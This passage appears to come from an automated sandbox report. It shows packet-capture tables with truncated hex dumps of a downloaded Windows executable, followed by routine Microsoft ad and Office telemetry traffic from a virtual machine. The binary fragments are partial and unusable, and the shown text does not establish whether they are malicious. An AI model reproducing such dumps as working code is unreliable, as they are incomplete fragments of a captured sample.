00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 16 00 b0 8e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 f6 12 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELZE.&0@7J@ )x T.text``.data@.rdata(@@.eh_framD@@.bss.idata)*^@.CRT8@.tls@.rsrc@@.reloc@B
Nov 28, 2024 15:19:10.446969032 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 eb 0d 90 90 90 90 90 90 90 90 90 90 90 90 90 83 ec 1c 31 c0 66 81 3d 00 Data Ascii: 1f=@MZ(U$U Uu<@@PE@tZU4Uu<$ HU0Ua=OtH1f$fQft
Nov 28, 2024 15:19:10.446985006 CET	448	IN	Data Raw: b1 fc ff ff 90 83 ec 1c 8b 44 24 20 89 04 24 e8 01 97 0f 00 85 c0 0f 94 c0 83 c4 1c 0f b6 c0 f7 d8 c3 90 90 90 55 89 e5 83 ec 08 8d 0d 04 01 53 00 8d 05 20 90 55 00 89 0c 24 89 44 24 04 e8 92 3d 0f 00 83 c4 08 5d c3 66 2e 0f 1f 84 00 00 00 00 00 Data Ascii: D$ $US U$D$=]f.US U$D$?]ffffffUEPuM uPQ]]PQ]f.fUEtjQp]@USWVE8u5
Nov 28, 2024 15:19:10.447062969 CET	1236	IN	Data Raw: 10 73 0e 6a 01 50 ff 76 38 e8 e7 aa 00 00 83 c4 0c 8b 06 83 f8 04 72 0d 83 f8 06 74 08 ff 76 04 e8 ac fa 0e 00 8b 46 08 83 f8 04 72 0d 83 f8 06 74 08 ff 76 0c e8 97 fa 0e 00 8b 46 10 83 f8 04 72 0d 83 f8 06 74 08 ff 76 14 e8 82 fa 0e 00 83 c6 5c Data Ascii: sjPv8rtvFrtvFrtv\V=q^_[]DUEtjQpy]@uUjQR[]fDUjh\Pu~]fUSWVP]us~;>uVF8G~
Nov 28, 2024 15:19:10.447076082 CET	1236	IN	Data Raw: 10 3a 1c 11 8d 52 01 89 fb 74 d6 8b 7c 24 04 f7 d8 89 c3 eb 80 66 2e 0f 1f 84 00 00 00 00 00 66 90 80 7c 24 37 00 0f 84 32 01 00 00 8b 44 24 48 8b 4c 24 58 8b 54 24 2c 01 d8 0f 1f 80 00 00 00 00 83 ea 01 72 2b 3b 44 24 04 0f 83 36 04 00 00 0f b6 Data Ascii: :Rt\|$f.f\|$72D$HL$XT$,r+;D$6I:@t\$<\|$*fDD$t$\$8+\|$(+$9rzL$($D$L$DWQP0)\$ ;ur}\|$8D$t$M\|$QuP]\|$($\$ \|$
Nov 28, 2024 15:19:10.447155952 CET	1236	IN	Data Raw: 50 8b 4d 08 8b 45 0c 8d 55 fc 89 4d fc 83 c1 0c 68 74 01 50 00 52 68 64 01 50 00 51 6a 08 68 84 01 50 00 50 e8 14 c6 0d 00 83 c4 20 5d c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 89 e5 53 57 56 83 ec 24 e8 12 1a 00 00 8d 45 d0 6a 0c 68 b1 Data Ascii: PMEUMhtPRhdPQjhPP ]f.DUSWV$EjhPjhPPKI}]uwtL1@<tB9u9WVjZt)p<]u}UEhPh<PPjjE]u}P8Vjj=
Nov 28, 2024 15:19:10.447176933 CET	1236	IN	Data Raw: ff ff f2 0f 11 85 64 ff ff ff 6a 00 6a 01 6a 05 53 56 e8 52 68 00 00 83 c4 14 8b 45 d8 8b 7d e0 89 85 18 ff ff ff 8b 45 dc 89 85 30 ff ff ff 8b 85 34 ff ff ff 85 c0 74 11 6a 01 50 ff b5 38 ff ff ff e8 32 9c 00 00 83 c4 0c 8b 85 40 ff ff ff 85 c0 Data Ascii: djjjSVRhE}E04tjP82@tjPDLtjPPXtjP\dtjPhjhKPjh1PVDuuV4PYEtjPV
Nov 28, 2024 15:19:10.447190046 CET	896	IN	Data Raw: c1 e8 06 80 cb 80 24 3f 0c 80 88 85 36 ff ff ff 88 9d 37 ff ff ff 8b 4d d8 8b 45 e0 29 c1 39 f1 72 2b 03 45 dc 56 8d 8d 34 ff ff ff 51 50 e8 2a 82 0f 00 83 c4 0c 03 75 e0 8b 4d d4 89 75 e0 83 c1 04 3b 4d c0 0f 85 a0 fd ff ff eb 17 6a 01 6a 01 56 Data Ascii: $?67ME)9r+EV4QP*uMu;MjjVPEPEtjP,&EEEtjPuuOujhXWtjhPj0hPV"?uu
Nov 28, 2024 15:19:10.447201014 CET	1236	IN	Data Raw: ff e0 1f 40 00 89 85 4c ff ff ff 8d 85 f4 fe ff ff c7 85 50 ff ff ff e0 1f 40 00 89 85 54 ff ff ff 8d 85 e8 fe ff ff c7 85 58 ff ff ff e0 1f 40 00 89 85 5c ff ff ff 8d 85 34 ff ff ff c7 85 60 ff ff ff e0 1f 40 00 89 45 e0 8d 45 d8 c7 45 e4 06 00 Data Ascii: @LP@TX@\4`@EEEPW$EtjPuEtjPuEjPS4EEPD T4<
Nov 28, 2024 15:19:10.447213888 CET	1236	IN	Data Raw: 50 ff 36 e8 49 8f 00 00 83 c4 0c eb e4 8b 85 80 fe ff ff 85 c0 74 17 c1 e0 02 8d 04 40 6a 04 50 ff b5 0c ff ff ff e8 26 8f 00 00 83 c4 0c b8 01 00 00 00 81 c4 90 01 00 00 5e 5f 5b 5d c3 6a 00 e8 5c 17 09 00 68 48 9d 50 00 ff 75 d0 50 e8 2e 6e 0d Data Ascii: P6It@jP&^_[]j\hHPuP.nh8PuP n48D<@hXP4PlhPjjj#hPjhPrlEhPhLPPj7hPpEE
Nov 28, 2024 15:19:10.567348957 CET	1236	IN	Data Raw: 24 30 8d 0c 03 31 c0 39 f9 0f 83 fc 02 00 00 8b 44 24 04 ba 01 00 00 00 be 01 00 00 00 0f b6 0c 08 31 c0 0f a5 d0 d3 e6 f6 c1 20 b9 00 00 00 00 0f 45 c6 0f 45 f1 23 44 24 0c 23 74 24 2c 09 c6 74 b1 8b 14 24 8b 4c 24 1c 8b 44 24 20 8b 74 24 10 89 Data Ascii: $019D$1 EE#D$#t$,t$L$D$ t$\$9GT$()Br09\|$AC:\|$tD$$\D$T$9$L$OH99t$ t$:t\$D$4\$$$

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Nov 28, 2024 15:17:35.650963068 CET	13.107.246.63	443	192.168.2.6	49779	CN=*.azureedge.net, O=Microsoft Corporation, L=Redmond, ST=WA, C=US CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Sep 19 17:30:52 CEST 2024 Thu Jun 08 02:00:00 CEST 2023 Thu Aug 01 14:00:00 CEST 2013	Sun Sep 14 17:30:52 CEST 2025 Wed Aug 26 01:59:59 CEST 2026 Fri Jan 15 13:00:00 CET 2038	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-16-23-65281,29-23-24,0	28a2c9bd18a11de089ef85a160da29e4
					CN=Microsoft Azure RSA TLS Issuing CA 04, O=Microsoft Corporation, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Jun 08 02:00:00 CEST 2023	Wed Aug 26 01:59:59 CEST 2026
					CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US	Thu Aug 01 14:00:00 CEST 2013	Fri Jan 15 13:00:00 CET 2038

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49710	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:04 UTC	1579	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T141650Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a982cbd5ae0743dcb416e3702bbbee90&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605278&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605278&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 Cache-Control: no-cache MS-CV: SMaDBIrPOEmd7Ded.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 14:17:05 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 1408 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: Fgtt48xtQlTDS6FKPZB56CZNM8w+Yo2+oBIO0lIPiKFVBOpgcVzvynY/q2C0a1LvbWkOmNtwt6ikglkndxDFkyaAUxvlAEFJD4zuhenuxNDeqXUaZ8G7LYRySsWGGnENJh37mY4PLax794LoZpABiKyZfJN0sj80G0Jhh7wdx/2IA9DHgbB9s0XFLOsgZbUwanrdTF+FJBH3R7iT8JKBqSc5hWcGYF3/71Dd2wAplVFGCzQFQqOesOXUMcnL46xU17jqbxTgbUT9wP1ZP2zKgN52pqikqZypxTQHqhwrmsDEWjukgnegxpkAkwqJh5Od7+sr9K/ZGV7pW1Vv6aHp/g== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 14:17:04 GMT Connection: close
2024-11-28 14:17:05 UTC	1408	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 45 6d 70 74 79 43 72 65 61 74 69 76 65 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 6b 69 6e 67 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"EmptyCreative\",\"propertyManifest\":{},\"properties\":{},\"tracking\

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49709	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:04 UTC	1572	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T141650Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a9d031c9e76b4eb4974702902b6a376f&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605278&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605278&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 Cache-Control: no-cache MS-CV: SMaDBIrPOEmd7Ded.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 14:17:04 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2930 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: Ymkpm85BQot7+JkwTPgN6ZuitkWpOiMR9VFqw7h8lVqolU44OsvYOgouLDFABMSGWX5BzFsIGYOAkUiog8ViO9P49KZfVBUXpQjB14Uap6b1P8CeJ3oBeEUkdYkcJ/BsR29cNy3scf/k534s0iNaznzqi4DydnyRHigR4LNA9p4x1+ziQpQBsC5xXy484pE0lvcOj4SXinz4uyGc6lffF36s1KdRtviwQyXhAQ4PEqZxjD6bJs01xqShyHsJuI0KlrJiRhGdTklVE/bariajMD5Q2ZI2kAHZj9TVkybe4Yx+Ag/llSLWVA/rx+T6JF8dYWQEEBQmtUX5mMNhr4Xjig== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 14:17:04 GMT Connection: close
2024-11-28 14:17:04 UTC	2930	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:11 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:12 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:11 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 27 Nov 2024 15:11:14 GMT ETag: "0x8DD0EF5BC53602D" x-ms-request-id: a5a19dc6-401e-008c-1dff-4086c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141711Z-174f7845968j6t2phC1EWRcfe80000000ykg00000000e2ps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:12 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-28 14:17:12 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-28 14:17:12 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-28 14:17:12 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-28 14:17:12 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-28 14:17:12 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-28 14:17:12 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> 